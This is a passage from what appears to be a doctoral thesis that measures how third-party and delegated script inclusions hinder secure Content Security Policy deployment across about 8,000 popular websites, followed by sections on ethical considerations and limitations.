consider those domains which are exclusively used by one site. Furthermore, observations
of the collected data indicated that keywords such as img, cdn, or static were often
part of CDN domain names. Hence we exclusively focus on domains containing them.
For each combination of a first party and potential CDN, we then again resort to manual
checks to determine if this is, in fact, a CDN. In many cases, this is straight-forward
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based on the involved domain names, such as soufun.com and soufunimg.com. In
checking individual domains to see if they are a CDN, we also observed a notable trend,
namely the fact that accessing the CDN directly (i.e., http://sitecdn.com) would
redirect us to the main site. Therefore, we augment our manual analysis by leveraging
this observation to automatically check, whenever a possible CDN is discovered, if
accessing it redirects us to the main site. If that is the case, we mark it as the site’s
CDN without further manual review. By combining both techniques to identify same-
party candidates, we in total identified 2,175 site pairs for further checks, out of which
1,146 are operated by the same entity (across all crawls). Overall, all manual efforts
combined took approximately eight person-hours. We augment our list with same-entity
entries from the most up-to-date list used by webXray [72] as available in the Internet
Archive. Doing so allows us to find 133 additional same-party relations. Contrarily,
webXray’s list does account for 1,096 of our 1,146 found connections meaning that it
alone does not suffice for our purposes.

7.1.3.1 Threats to Validity

The manual clustering approach we chose naturally suffers from a certain limitation in
missing sites that belong to the same party. One prominent example is Alibaba, which
uses alicdn.com on a number of their properties. Notably, though, the combination of
the individual sites (e.g., alibaba.com or alipay.com) does not occur often enough
to qualify for the first check we perform. On the flip side, given that alicdn.com is
not exclusively used on alibaba.com, the second check also fails to detect the relation.
Luckily, these rather obvious relations of popular sites are picked up by webXray’s list
[72]. To understand the impact of this on our heuristics (i.e., without the webXray list),
we conducted a manual spot check. Based on the total of 183,028 inclusion relations
(between different eTLD+1s) we gathered in our first crawl, we could assign 1,434
pairs to be originating from the same party. Of the remaining 181,594, 70,973 could
be trivially shown to not originate from the same party; merely because they were
included through services like Google’s Ad services, for which we are confident to know
all related domains. To confirm this assumption, we conducted a spot check of around
1,000 domains classified as non-Google domains and could not find a single false positive.
Of the remaining 110,621 pairs, we randomly sampled 1,000 and manually checked if
they were of the same party. In doing so, we found that only 24 pairs were actually
from the same party. Given our approach of removing the trivially obvious different
parties before this sampling, we are confident that our approximation of same-party
relations is reasonable. Thus, while our approach may still overestimate the number of
third parties for any given website, it is much better compared to approaches merely
based on the eTLD+1 (as we show in Section 7.2).

7.1.4 Updated Notion of Trust Disconnect

Besides having a clear understanding of which hostnames belong together, we want to
be able to quantify how (un)related a particular party is to the first party. Prior work
[63] used the longest chain of inclusions to measure implicit trust; instead, we use the
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Figure 7.1: Example Tnclusion Trees

shortest path observed in any inclusions from a given party to ascertain its disconnect
from the first party.

Figure 7.1 depicts our running example of two inclusion trees spanning four scripting
resources. We use it to introduce concepts that allow us to quantify the disconnect to
the first-party developer on the level of parties. We first focus on the left-hand side
of the graph. Here, the Web document from p1.com (our first party) includes a script
resource JS 2 from p2.com, which in turn includes JS 3 from p3.com. Judging merely
on this inclusion chain, p3.com seems to be disconnected from the first-party developer.
However, looking at the right-hand side document, we find p1.com directly includes
JS 4 from p3.com, meaning there is actually no disconnect.

If we now turn our attention to the inclusion of p3cdn.com, we see that it is never
included directly by the first party. Considering the eTLD+1 notion, we would flag
p3cdn.com as a delegated party, as its inclusion is merely a product of the delegated
capabilities of script inclusion to p3.com. However, if we infer that those two sites are
in fact to be considered to be the same party, then we would report that p1.com never
includes a delegated party. This example highlights the necessity for an improved notion
of a same party as well as a means of investigating the shortest chains to a party. In
our analysis, we conduct this aggregation for all observed documents belonging to a
common root node; e.g., if we find Facebook iframes on another site, we attribute all
inclusions within that iframe to Facebook.

For every party inside a given site, we can now calculate the smallest number of
other third parties that are scattered along our inclusion chains for any of the hostnames
that we can associate with the given party. This allows us to holistically quantify their
disconnect from the first party and a delegated party can then be defined as a party for
which this number is greater or equal to one.

7.2 Measuring Trust Disconnect in the Web

Given that prior work has relied on longest chains of inclusions and used an eTLD+1
as the separator between parties, in this section, we study how this notion compares to
ours, which relies on shortest paths to a party and the more fine-grained eSP notion.
The data that we present going forward is based on the first snapshot of our crawls
from January 13, yet, we find that for all of our snapshots the trends remain the same
although absolute numbers fluctuate.
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parties 1 2 3 4 5 6 7
eTLD+1 7,643 6,589 3,578 786 137 50 1
eSP 7,628 5,124 1,451 199 19 5 0

Table 7.1: Sites which have at least given number of involved parties in longest chain

7.2.1 Comparison of eTLD+1 and eSP

In this particular experiment, we want to investigate how our notion of eSP influences
the number of different parties that jointly contribute to one inclusion chain. Considering
our running example shown in Figure 7.1, the left branch involves two parties. For the
right-hand side, depending on the notion of a party, we have two (for the site notion) or
one (for the eSP notion) party involved. We disregard the first party, which means that
this number directly reflects the amount of different third parties along any chain in
the application. In the example, though, as we are counting most involved parties in
any chain, the document counts as having two code contributors regardless of the used
party notion.

Table 7.1 depicts the number of sites and the corresponding number of code contrib-
utors involved in any inclusion. eSP counts the number of distinct code contributors
according to our notion of an extended Same Party, whereas eTLD+1 shows the number
according to prior works [63, 90, 2]. Comparing the two notions, a clear difference
becomes apparent, which highlights the need for our refined notion. Our results show
that for our definition of an extended Same Party 7,628 sites (7,643 for eTLD+1) have
at least one additional party from which code is included (shown as 1). This number is
in light of our successful detection of 1,146 same-party relations and the 133 relations
extracted from webXray. Nevertheless, the majority of these sites also included actual
third-party content, explaining the comparatively low difference in numbers.

We find that 5,124 sites have pages on which a directly included third party includes
resources from another third party (indicated by having two involved parties, 6,589 for
the eTLD+1 notion); i.e., 5,124 sites show a delegation of trust in the longest observed
inclusion chain. This is a significant difference of 1,465 sites (18% of the sites with any
JavaScript), which would have incorrectly classified as containing delegated inclusions if
we had relied on eTLD+1. Hence, we find that our eSP notion provides a significantly
better display of inclusion practices in the wild. However, in the following, we highlight
the necessity to holistically investigate a site and consider all inclusions in all documents
to arrive at a meaningful understanding of trust disconnect.

7.2.2 Comparison of Trust Disconnect Notions

While investigating the extreme chains provides us with very interwoven interactions
among multiple parties, it does not yet allow us to reason about the disconnect between
the first-party developer and the code contributor that, in the end, runs their code in
the first-party site. To provide a more meaningful notion of such a disconnect, we resort
to finding the shortest path to any party that runs code in the site, as in having the
least amount of other third parties contributing to the inclusion of a script from the
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parties 1 2 3 4 5 6
eTLD+1 7,643 5,807 2,215 315 43 19
eSP 7,625 3,853 750 49 6 2

Table 7.2: Level of disconnect between third party and first party by least number of
third parties along any inclusion chain.

given party as introduced in Section 7.1.4. In particular, we count how many third
parties are between the first and the final third party. As discussed in the previous
section, this analysis is conducted on all documents belonging to a given root node
(Tranco list entry).

Table 7.2 depicts our findings with the number of sites for which we can find at least
one representative of the party, which depends on the number of other third parties and
no other representative being included in a shorter path. We find that 7,625 sites for
our extended Same Party notion and 7,643 sites for the eTLD+1 notion include at least
one third party and do so directly without the involvement of any other party (meaning
they are directly connected but are not the first party, i.e., have a level of disconnect
equal to one). What is more, on 3,853 sites code originating from an implicitly trusted
party is included; i.e., an explicitly trusted third party includes code from somewhere
else, denoted as a delegated party. Moreover, we find that 750 sites include code from
parties to which trust has been delegated twice (i.e., a delegated party included code
from yet another party). Finally, 49 sites have at least three levels of trust delegations,
and two sites have five.

Our comparative (longest chains with site notion vs. shortest paths with eSP
notion) analysis indicates that while sites tend to exhibit highly interwoven trust chains
somewhere in their pages, considering the holistic view on the code disconnect within a
website, which we could gather by favoring depth over breadth, provides a much clearer
picture. When we compare the trust approximations provided by the longest chain and
the site notion with the shortest path and the eSP notion, which account to 6,589 and
3,853 respectively, we can see that 2,736 (34% of our dataset) sites do not suffer from
the dangerous pattern of including parties in a delegated fashion.

And while we cannot reproduce the findings of prior work or retroactively apply our
methods to their data, our results indeed illustrate that for the current Web models
of trust disconnect would be heavily skewed when resorting to the longest path and
eTLD+1 notion.

For the following analyses, we rely on our established notions; i.e., both for separating
parties from each other as well as to reason about delegated or direct inclusions.

7.3 Impairing Content Security Policy

Equipped with our improved notion of parties and third parties’ disconnect from
the first party, in this section, we quantify the impact of third parties on a site’s
ability to deploy CSP securely. CSP is primarily meant to protect against XSS. This
protection mechanism is undermined if a policy requires the unsafe-inline and
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Figure 7.2: Stability of Included Hosts

unsafe-eval keywords, which are necessary if inline script or event handlers are used,
or strings are transformed to code through eval, respectively. Orthogonally, while
host-based allowlists are known to be prone for bypasses [138, 18], they are nevertheless
recommended to constrain the sources from which developers can include code in the
presence of nonces and strict-dynamic [137]. This implies that fluctuations in
included hosts either break an application or force the first party to allow wildcards
such as https://. To ease the burden on maintaining a host-based allowlist, sites can
also decide to deploy strict-dynamic; this, however, is dependant on all included
code being compatible with programmatic addition of script elements.

In this section, we investigate how these three aspects of CSPs are impacted by
first, third, and delegated parties. Naturally, incompatible code does not technically
prevent a first-party from deploying a sane CSP. However, any incompatibility means
that specific parts of the site will no longer work, threatening, e.g., functionality or
monetization. In particular, we consider this analysis to be an important first step in
analyzing to what extent third parties may be involved in the lacking [55] and insecure
[138] CSP deployments found throughout top sites, which we further investigate at the
end of the section.

7.3.1 Host-based Allowlists

As prior work has shown, coming up with a host-based allowlist for CSP is a tiring
process, frequently leading to operators simply adding the * source expression to
avoid breakage [105]. While the insecurity of such a policy is obvious, we here aim to
understand to what extend fluctuations in included hosts play a role in first party’s
struggle to achieve a secure and functional CSP.

To keep a policy functioning without causing breakage, it is necessary to allow
content from all those hosts which are included. Using a host-based CSP, this can
be achieved by individually allowing each host or using a wildcard to allow all hosts
belonging to a common eTLD+1 (*.domain.com). Allowing all subdomains, however,
may expose a site to additional risks. A known bypass to the security of a CSP is to
allow sources which host a JSONP endpoint [138]. Naturally, allowing any subdomain
of a given domain increases the chances of such an endpoint being allowed. As examples
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show2, such endpoints are often contained on subdomains of widely-included domains,
e.g., on detector.alicdn.com.

Hence, it is desirable to keep the list of allowed hosts as small as possible and resort
to allowing all subdomains only if need be. Fluctuations in the included hosts, though,
may result in breakage in such cases. Figure 7.2 shows the stability of the involved hosts
and sites over time. In particular, for each week, it shows how many sites include code
from hosts they had not previously used (new host) and how many sites introduced
code from other eTLD+1s, requiring changes to the host-based allowlist, or allowing
the entire subdomain-tree of the new eTLD+1s. In addition, the graph shows the
numbers broken down to those hosts/sites which are mandated through third parties;
in particular, New Third-Party Host refers to the case where a third party introduces
a new host, and New Delegated Host refers to a third party adding a host from yet
another third party. Note that if a first party includes content from a given host, and
the third party also includes content from the same host, this is not counted towards
third-party inclusions.

In total, 5,442 sites added a new site at least once through our experiment (relative to
the sites they included in the first snapshot). 2,977 did so because a third party included
content from a new host; of these, 2,272 had delegated inclusions, i.e., a third party
introduced code from another third party’s hosts. Hence, 55% of all sites that need to
update their CSP (by adding an entire new eTLD+1 and its subdomains) would need to
do so because of at least one third party or suffer from functionality breakage. Looking
at the trend, we find that while in the first week, over 2,000 sites still introduce content
from entirely unseen eTLD+1s, the number goes down to approximately 1,000-1,500
for the following weeks. Interestingly, there is no clear downward trend in the data,
implying that even in a longer experiment, we would have observed similar numbers for
the following weeks. Notably, the introduction of sites is necessitated by third parties
in approximately one-third of all cases; most of these are related to the introduction of
sites that do not originate from a previously seen third-party (New Delegated Sites).
Since these numbers do not contain third parties which are added by the first party,
this implies that third parties often add previously unseen parties to a site, requiring
the first party to update their CSP with disconnected parties.

Considering that the addition of hosts occurs even more frequently than the addition
of new sites, a site operator might resort to allowing all subdomains of a given eTLD+1,
so as to avoid having to allow new hosts of the same eTLD+1 in the next week.
Notwithstanding the danger of allowing JSONP endpoints, having a CSP that contains
entries which are no longer needed violates the principle of least privilege. Operating
under the assumption that a site operator would have wanted to keep their site functional
and merely added all eTLD+1s that were needed at least once in the 12-week period,
5,544/6,050 would contain unnecessary sites in their CSP at the end of the experiment.
That is to say, the vast majority of sites would violate the principle of least privilege.
Of these 5,544 sites, 4,135 would have at least one third-party-included (i.e., delegated)
host in their overly permissive allowlist.

2https://web.archive.org/web/20210322122829/https://github.com/zigoo0/
JSONBee/blob/master/jsonp.txt
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affected sites
Category all only TP
IAB3 (Business) 2,864 1,325
IAB19 (Technology & Computing) 2,790 725
IAB25-WS1 (Content Server) 1,798 813
IAB25 (Non-Standard Content) 889 284
IAB14 (Society) 758 208

Table 7.3: Categorization of Sites Added over Time

Given this data, it seems hardly feasible to keep an individual site’s host-based CSP
up-to-date. Not only is it necessary for many sites to add required hosts or sites to their
CSP, but at the same time, a site operator regularly has to assess if their CSP is not
too overly permissive, and remove non-needed entries. More than half of the sites that
required adding a new eTLD+1 to their CSP were sites with changes initiated by third
parties. Similarly, 4,135/5,554 (74%) sites would have to remove a third-party site at
least once during the 12 weeks to keep their policy as strict as possible. Naturally, if
an operator decides to only allow specific hosts instead of entire sites, there are more
changes necessary. Hence, we find that third party induced changes to the allowlists
play an important role in the maintenance cost for site operators, requiring significant
overhaul on a weekly basis.

7.3.1.1 Categorization of Culprits

To understand this constant influx of newly included sites, we analyze how these
new inclusions support the first party. To that end, we utilize Webshrinker [136] to
categorize each of the eTLD+1s from which new JavaScript was included throughout
our experiments starting from the second week. In particular, we resort to the label
with the highest-ranking score to flag an eTLD+1.

Table 7.3 shows the most prevalent categories for our entire analysis period, both
in terms of inclusions that were caused by either party, as well as for third parties
in particular. Not surprisingly, we find the biggest culprit to be IAB3 (Business),
which overlaps with IAB3-11 (Marketing) and IAB3-1 (Advertising); i.e., most of the
newly introduced sites are related to advertisement. Considering only eTLD+1s that
were added by third-party code, 1,325 sites had a least one new inclusion from an
ad-related site. The second large cluster of introduced eTLD+1s is related to technology
& computing; this category subsumes services that offer email (e.g., newsletter delivery)
or chat integrations. IAB25-WS1 contains sites like gstatic.com or nr-data.net,
i.e., it subsumes cases of content distribution. Overall, we can say that the ad ecosystem
appears to be the driving factor behind the influx of new eTLD+1s in most sites. However,
there exist also other fundamental building blocks included in modern websites, which
cause the introduction of new sites throughout our experiments.
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unsafe-inline unsafe-eval
total handler script total

mandated by any 7,667 6,879 7,650 6,334

mandated by first party 7,643 4,972 7,618 4,424

mandated by third party 6,041 5,977 3,601 4,911
- only third party 24 1,907 32 1,910
- multiple third parties 4,573 4,446 1,663 2,943
- delegated parties 1,299 1,251 287 946
- only delegated parties 0 14 0 51

Table 7.4: Sites which need to use unsafe directives

7.3.2 Insecure Compatibility modes

Next to the struggle of maintaining host-based allowlists, a second major issue to the
security of a CSP is the usage of compatibility keywords, namely unsafe-inline to
enable inline scripts and event handlers, as well as unsafe-eval to allow the usage of
eval. While the former is always a serious issue, eval has its use-cases, e.g., for local
code caching as we have seen in Chapter 6. However, its usage has been discouraged by
prior works [103], and the CSP authors’ choice to disable eval by default underlines its
security impact.

Given these insights into the keywords we want to avoid in a CSP, we conduct a
hypothetical what-if analysis, assuming that all first-party developers wanted to deploy
such a policy without any compatibility modes and determine to what extent the
different stakeholders provide code that is incompatible with such a policy. To that
end, we need to measure when a script uses eval, which automatically necessitates
unsafe-eval. For unsafe-inline, we need to monitor access to the DOM through
APIs like document.write and innerHTML; however a mere access is not yet a
compatibility issue for CSP. Rather, this behavior only causes issues when used to write
additional script tags, or when defining HTML-based event handlers. To measure the
behavior of the scripts divided by our different stakeholders and analyze their interaction
with security-sensitive functionality, we resort to in-browser hooking of the APIs in
question. Together with with our reporting mechanism, these hooks allow us to store
the execution trace for each API access and attribute each call to a party. While there
are ways for sites to detect such hooking, we do not believe this to be a major threat to
validity (in the worst case, it provides us with lower bounds).

Table 7.4 shows the results of our analysis concerning the functionality used by first-,
third-, and delegated-party code, which, in its current form, requires either one of the
insecure directives. Since unsafe-inline is required if either inline scripts or HTML
event handlers are used, we show those numbers both separately and in sum.

7.3.2.1 unsafe-inline

For unsafe-inline, we find that 7,667 of our 8,041 analyzed sites have code constructs
that require this insecure directive, with the vast majority requiring it due to the usage
of inline script elements. Out of those, 7,643 would have to deploy unsafe-inline
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Figure 7.3: Sites that require unsafe keywords by multiple third parties

anyways due to their own incompatible code (7,650 due to inline scripts, and 6,879 due
to event handlers). Besides, we find that 6,041 sites make use of third-party code, which
requires unsafe-inline to work. Therefore, even if a first party could rid itself of
event handlers and inline scripts, those sites would be hindered by third parties from
deploying a CSP without the unsafe keyword. While this seems like a big ask, it is
feasible for first parties to deploy a nonce-based policy, enabling them to allow all their
inline scripts; event handlers, however, cannot be allowed this way. Considering only
those 2,671 sites with first-party inline scripts, but without first-party event handlers
(not shown), we find that third parties induce incompatibilities in 1,903 (71%) of them,
which prevents them from a sane CSP even if the first-party made their code compliant.

Hence, the logical next step in securing a first-party site would be to convince
the included third parties to update their code to no longer require unsafe-inline.
As the table shows, 4,573 sites have more than one third party, which hinders them
from deploying CSP without unsafe-inline. Additionally, 1,299 sites are hindered
through delegated parties, i.e., contributors with which they have no direct relation.
Figure 7.3 shows how many sites have incompatibilities with a sane CSP that stem from
how many third parties, i.e., how many parties would need to change their codebase to
allow for a breakage-free CSP without unsafe keywords. Unfortunately, more than 2,000
sites (25% of our dataset) would require the cooperation of at least five other parties.
There also exists a rather long tail involving still more than 500 sites with ten or more
contributors.

7.3.2.2 unsafe-eval

For eval, the results differ slightly. Overall, 6,334 sites could not deploy a policy without
unsafe-eval without breakage. In this case, 4,424 (70%) are making use of eval in
first-party code, and 4,911 (78%) through third-party code. Thus, 1,910 sites cannot
deploy a policy without unsafe-eval exclusively because of third parties. Even if all
sites removed eval from their own code base, 2,943 would have to convince more than

102



7.3. IMPAIRING CONTENT SECURITY POLICY

unsafe- unsafe-
Category inline eval either

IAB3 (Business) 3,257 2,235 3,530
IAB19 (Tech. & Comp.) 1,918 1,472 2,717
IAB14 (Society) 1,340 76 1,372
IAB25-WS1 (Content Server) 598 895 1,236
IAB3-11 (Marketing) 633 536 794

Table 7.5: Top Categories of parties that require unsafe keywords

one third party to do the same (as shown in Figure 7.3). Similar to unsafe-inline,
we observe a long tail as well, requiring 292 sites to convince more than ten third parties
to remove their usage of eval to rid the first party’s CSP of unsafe-eval.

7.3.2.3 Categorization of Culprits

Combining the blockage through inline scripts, event handlers, and usage of eval, 6,377
sites include third parties that mandate either unsafe keyword. To better understand how
these parties relate to the business needs of the first party, we categorized all third parties
that require compatibility modes, again relying on the results from Webshrinker. Here,
we use the first category that is associated with any of a party’s eTLD+1s. Table 7.5
shows the results of this categorization, indicating how many sites are mandated to
use unsafe-inline, unsafe-eval, and at least one mode per category. We find
that business is the most prevalent category for both compatibility modes, again likely
relating to advertisement. While IAB19 is again second (as it was for inclusion of remote
content), IAB14 (Society) is third-most prevalent overall, yet primarily for its usage
of inline scripts/event handlers. Taking a closer look at the data, we find that this is
caused by Twitter, whose scripts from platform.twitter.com alone are responsible
for 1,294 sites that require unsafe-inline. The results for this analysis paint a
similar picture for the one of included host, confirming the long-held beliefs that the
advertisement industry hinders CSP deployments with empirical evidence.

It is worth noting, though, that simply blaming the ad industry is unfair. While
their code contributes to many incompatibilities, we find that removing the categories
related to advertisement, 6,213 sites contain other dependencies that require the unsafe
keywords. This highlights that simply convincing the ad industry to programmatically
add scripts and event handlers as well as stop relying on eval does not suffice, but
rather a coordinated effort of virtually all third-party content providers is necessary to
remedy the situation.

7.3.3 Incompatibilities with strict-dynamic

As indicated in Section 7.3.1, the parties and hosts included in the sites we ana-
lyzed fluctuate significantly over time. This observation unveils issues of approaches
such as CSPAutogen [96], which rely on a fixed set of hosts to generate the CSP.
strict-dynamic was developed to alleviate this burden, enabling trusted scripts to
programmatically add additional scripts. Specifically, this means that all scripts must be
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added via the programmatic creation of script elements (document.createElement)
and the programmatic addition to the DOM (element.appendChild). Based on
our crawl, in which we collected information about how scripts are added at runtime,
we find that only 1,414/8,041 (18%) sites would be hindered from properly using
strict-dynamic due to third parties not adhering to this paradigm when adding
additional scripts. Unfortunately, using strict-dynamic mandates the usage of
nonces or hashes, which in turn means unsafe-inline is ignored. And while it
is feasible to attach nonces to inline scripts or allow them through their hash, event
handlers cannot be allowed in this fashion. The only solution for these issues is to use
unsafe-hashes [133], yet another compatibility mode. Looking back at Table 7.4,
specifically at third-party induced inline event handlers, 5,977 sites could not use
strict-dynamic without losing the functionality provided by these handlers. We
only find 1,894/8,041 sites without third-party event handlers and where third parties
only programmatically add scripts. Hence, the remaining 6,147/8,041 could not deploy
strict-dynamic.

To conclude our hypothetical scenario, we have seen that even if developers would
want to get rid of the compatibility modes, for 6,041 and 4,911 sites, respectively, they
would need the cooperation of at least one code contributor, and most likely even
multiple ones. We have seen instances in which those contributors are even included
over trust delegations, begging the question of whether there is even an incentive for
these parties – given the lack of a direct business relation – to change the codebase.
This inability imposed by the sites’ business needs is particularly problematic given
recent ideas of requiring security features, e.g., a strict CSP, to allow the site to access
newly introduced browser APIs [143] or even disallow existing APIs to be used given
the lack of the respective security feature. While such changes would force developers to
act and deploy security mechanisms, our analysis shows that this would still require the
cooperation of other parties and can only be tackled by all the stakeholders involved in
the Web platform.

7.3.4 Real-World Impact on CSPs in the Wild

To understand if our hypothetical scenario can be founded by empiricism, we now
turn to analyze the policies which we encountered during our crawls. Out of the
investigated 8,041 sites we found 1,052 to be using a CSP with either default-src
or script-src, meaning that they make use of CSP’s functionality to restrict which
scripts end up running within their sites. Out of those 1,052 sites, 1,006 incorporate
unsafe-inline without nonces or hashes. We found that 707/1,006 sites have third
parties that introduce inline scripts. Notwithstanding necessary changes to the first-party
code, this means those sites are bound to use unsafe-inline to preserve functionality
due to third-party code. Confirming our insights from Table 7.4, all of those besides
one site, though, also have inline scripts in the first-party code. In addition, 860 sites
make use of unsafe-eval. Of those, 540 are partially hindered due to third parties,
and 174 solely due to third parties, i.e., first-party code did not use eval. These results
not only confirm that over 95% of policies are insecure [138], but more importantly that
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between 63% (for unsafe-eval) and 70% (for unsafe-inline) of all sites have
third parties that require the unsafe keywords, making policies trivially bypassable.

7.4 Summary

In this chapter, we analyzed to what extent first parties, who are willing to change their
own code base, can meaningfully secure their sites through the Content Security Policy.
Based on our notion of an extended same party and trust delegations, we found that
third parties are major roadblocks for security. They often introduce new delegated
hosts, requiring the first party to potentially add entire eTLD+1s to their policies.
Simultaneously, the fluctuation in included parties means that the first party needs to
continually remove entries from their CSP to maintain the principle of least privilege.
Furthermore, third parties play a significant role in necessitating unsafe-inline and
unsafe-eval, both in our hypothetical analysis as well as in the wild. And while
updating the host-based CSP could be eased by the deployment of strict-dynamic,
third parties provide code that is incompatible either due to parser-inserted script
additions or through using inline event handlers.

Arguably, first parties have a significant task ahead in ensuring their own compatibil-
ity. However, even having done so, the majority of them are unable to outsource non-core
business needs and deploy security mechanisms at the same time. This leaves them in
a no-win situation in which either security can be enforced or functionality preserved.
While the former would require them to implement all functionality themselves, choosing
the latter leaves them subject to security-sensitive decisions taken by third parties,
which themselves face no repercussions when providing code that is incompatible with
security mechanisms.
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8.1. ETHICAL CONSIDERATIONS

This chapter provides overarching points of discussion of this thesis before reaching
the final conclusion. First, we provide a discussion on ethical considerations that affect
all of our analyses. We follow this discussion with further insights on the limitations of
our approaches and how those relate to recent research and future challenges. Next, we
provide some explicit areas for future work that naturally evolve from the insights that
we could gain. Lastly, we provide a conclusion to the research work that was presented
throughout this thesis.

8.1 Ethical Considerations

In the majority of our experiments, we measured vulnerabilities that occur in live
websites. For all of our encountered security issues, we resorted to public information
found on the vulnerable sites and information of public bug bounty programs [40, 92]
to report the encountered vulnerabilities to the affected parties. We also resorted to
information found in the security.txt [88] file, and responsibly disclosed our findings
before making our systems available to the general public. For more information about
the open-source implementation of our systems, please resort to the underlying works
[P1, P3, P4]. As for our work still under submission, [P2], we are currently in the
process of reporting our findings to the affected parties and we plan to release the
source code after we have finished our responsible disclosure [95]. Overall, we believe
that making our systems available to the general public helps developers and security
professionals uncover issues in their sites, hopefully even before they are introduced in
their live environments. Furthermore, we hope that this incentivizes future research
and allows for reproducibility in the future.

As our crawlers visit the pages of a given site, we are aware that our measurements
incur load on the servers of the applications in our datasets. In all of our experiments,
we try to impact the live websites as little as possible while still analyzing the sites
thoroughly to allow for a meaningful conclusion about the prevalence of the security
issues. As our analyses target the most popular websites, we argue that our crawler-
induced load is negligible compared to the benign user-generated traffic that those sites
receive. Furthermore, we neither try to conceal our traffic as human-generated nor
circumvent any restrictions, such as Captchas or rate-limiting based on IP addresses.

8.2 Limitations

In this section, we discuss two limitations that affect our analyses presented throughout
this thesis. First, our works on postMessage handlers and prototype gadgets rely on
our ability to represent JavaScript behavior symbolically and solve path constraints for
the potentially vulnerable program slices. Furthermore, any of our analyses only cover
the public portion of the investigated websites and do not explore these applications
exhaustively. We discuss how these observations affect our results in more detail in the
following.
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8.2.1 Constraints in Web Applications

While initial work from 2010 by Saxena et al. [107] showed promising results in using
symbolic execution, taint analysis, and fuzzing to uncover XSS on a small scale, it
remained an open problem to scale this approach to the complete Web. We showed the
feasibility of such a large-scale approach with in-browser solutions that do not rely on
patching the underlying JavaScript engine in Chapters 4 and 5.

Nevertheless, our approach obviously has limitations related to the applicability
of existing tools to our problem space. First, we rely on the fact that the subset of
JavaScript behavior that can find on vulnerable paths can be reasonably represented in
current state-of-the-art SMT solvers.

To quantify how such issues impact our ability to find vulnerabilities, we first discuss
those data flows in postMessage handlers that we uncovered by our forced execution
engine as discussed in Chapter 4, but for which we are not able to automatically craft
proof of concept exploits. As we have forcefully executed those handlers, we have a
ground truth dataset of how many interesting handlers we cannot analyze automatically.

We found 21 handler, of the total 252 handler with flows to sinks, for which our
system was unable to craft exploit candidates. We can classify those failed instances
into two categories.

First, certain behavior is not transferrable to the constraint solving language of Z3.
One example of such an instance is when the application makes use of JavaScript’s
bind, apply or call functions, for which we have no general mean to interpret those
operations abstractly. Next, Z3 does not allow for reasoning about the length of arrays
as those are represented as functions in the logic. There also exist limitations on
regular expressions, particularly support for backreferences and capture groups and
browser built-in string functions that lack direct representation as building blocks in
the constraint solving language.

Second, our approach inherits limitations of the open-source software used in our
prototypes. For example, the open-source lexer that we used raises errors for specific
regular expressions encountered in the wild. Hence, we cannot analyze such handlers.
Another example is Z3’s lack of support for non-ASCII characters.

We think that the latter examples are merely implementation details that would
require additional engineering efforts. Yet, it remains an unsolved problem of how
much behavior that we can find in real-world JavaScript programs can be represented
symbolically in state-of-the-art constraint solving languages.

In addition to those cases for which we could not generate exploit candidates, we
found 21 cases in which our queries to the SMT solver timed out. Satisfiability is an
NP-complete problem. Thus it is expected that this is a limitation of any such analysis.
Nonetheless, we think that in the case of postMessage handlers, developers could
refactor operations that are very costly to reason about. In particular, we have seen that
performing further operations on strings split by a separator, e.g., when passing several
values inside one string, as was done in Figure 4.8, quickly exceeds the capabilities that
Z3 can solve in a reasonable time. However, since postMessages allow for arbitrary
serializable objects, those values could also be sent as an array. Furthermore, developer
advice might further be helpful to steer the forced execution away from unsolvable paths
in the program, e.g., paths that only work for legacy browsers.
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Concerning our concolic engine, as presented in Chapter 5, we can see further issues
that become more prevalent once we instrument complete applications. To that end, we
leveraged Jalangi, which only supports ECMAScript including version 5. This leads to
runtime issues if the application relied on let or const, as those are not instrumented
appropriately. Furthermore, we have seen instances in which the instrumentation with
Jalangi fails altogether, primarily due to unsupported language constructs. Such scripts
can therefore not be executed symbolically.

Nonetheless, we could show that even in the presence of such limitations, our systems
could uncover various vulnerabilities in popular sites.

8.2.2 Web Crawling

The previous section highlighted technical limitations that prevent us from uncovering
all possible security-relevant behavior once we have visited any given page, highlighting
that our results should always be considered lower bounds for the actual threats of the
issues discussed. Yet, we also inherit limitations that any large-scale analysis of the
Web has, i.e., our crawlers only visit a portion of the website under test.

More concretely, we limit our crawlers to visit a maximum amount of subpages
instead of exhaustively analyzing sites to limit the load induced on resource servers. Such
limitations are particularly important in light of cases as Wikipedia, where sites host a
sheer endless amount of content. Next, as is the case for various similar analyses [67, 77,
21, 112, 66], we do not automatically login to applications. While related research relied
on manual efforts [68], or was limited to sites supporting Single Sign-On providers [147,
31], such analyses typically do not scale to the complete Web. As shown in those works,
there exist various sites for which manual registrations are necessary. Even in cases
where Single Sign-On registrations are possible, they might require further personal
information such as credit card information. Yet, current research [51] investigates the
feasibility of performing completely automatic login workflows to allow for large-scale
post-login analyses, requiring only manual registration of accounts.

On a similar note, our crawlers are only passively visiting sites and do not perform
any actions that might trigger additional code to be executed, e.g., clicking on buttons.
Related research explored areas such as automated exploration of JavaScript events
[98] or the modeling of application state [29], with a recent work of Eriksson et al. [34]
unifying various approaches that allow black-box scanning techniques to increase code
coverage by up to 62% compared to state-of-the-art scanners.

We think that combining our analyses with some form of automated login mechanism
as proposed in one of the aforementioned research works and increasing the code coverage
of the encountered code by resorting to more sophisticated exploration strategies is an
interesting avenue for future research. Furthermore, we are convinced that this would
result in an overall higher amount of vulnerabilities that we can find with our techniques,
again highlighting that our results need to be considered lower bounds for the actual
threat of the vulnerability classes presented.
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8.3 Open Challenges and Future Work

In the following section, we discuss the remaining challenges and open questions that
arise from our findings. First, we discuss aspects that surround third-party induced
vulnerabilities and incompatibilities with security mechanisms. Next, we discuss how our
results indicate the need for more in-depth analyses of how we can best design security
mechanisms that can be used by developers. We finish this section by discussing how
techniques presented throughout this work can assist other vulnerability measurements
of related research and how recent research can help us improve the performance of our
systems relying on code instrumentation.

8.3.1 Third parties and the Web’s current Isolation Model

With the Web’s natural growth and the Same Origin Policy as a security boundary, we
find ourselves in a situation in which the behavior of third-party scripting content affects
the security of first-party applications. As it stands now, third parties are a major
contributing factor to a site’s insecurities, be it via vulnerabilities which we anecdotally
show in Chapters 4 to 6 or by contributing code that is incompatible with the Content
Security Policy as shown in Chapter 7.

As for CSP adoption, the programmatic addition of scripts requires minimal code
changes, while removing the reliance on inline event handlers and inline scripts may
be significantly more engineering effort. Third parties that are widely included have a
massive amplifier; i.e., they can affect hundreds of sites’ ability to deploy CSP. While
especially the largest vendors can hardly be compelled to change their functionality to
be CSP-compliant, we nevertheless call on them to adopt best practices and lead by
example to ensure that a wider-spread adoption of CSP is even feasible. It is worth
noting here that we discovered scripts from Twitter to be a CSP roadblock for around
1,300 sites, forcing sites to deploy unsafe-inline. Interestingly, their own CSP is
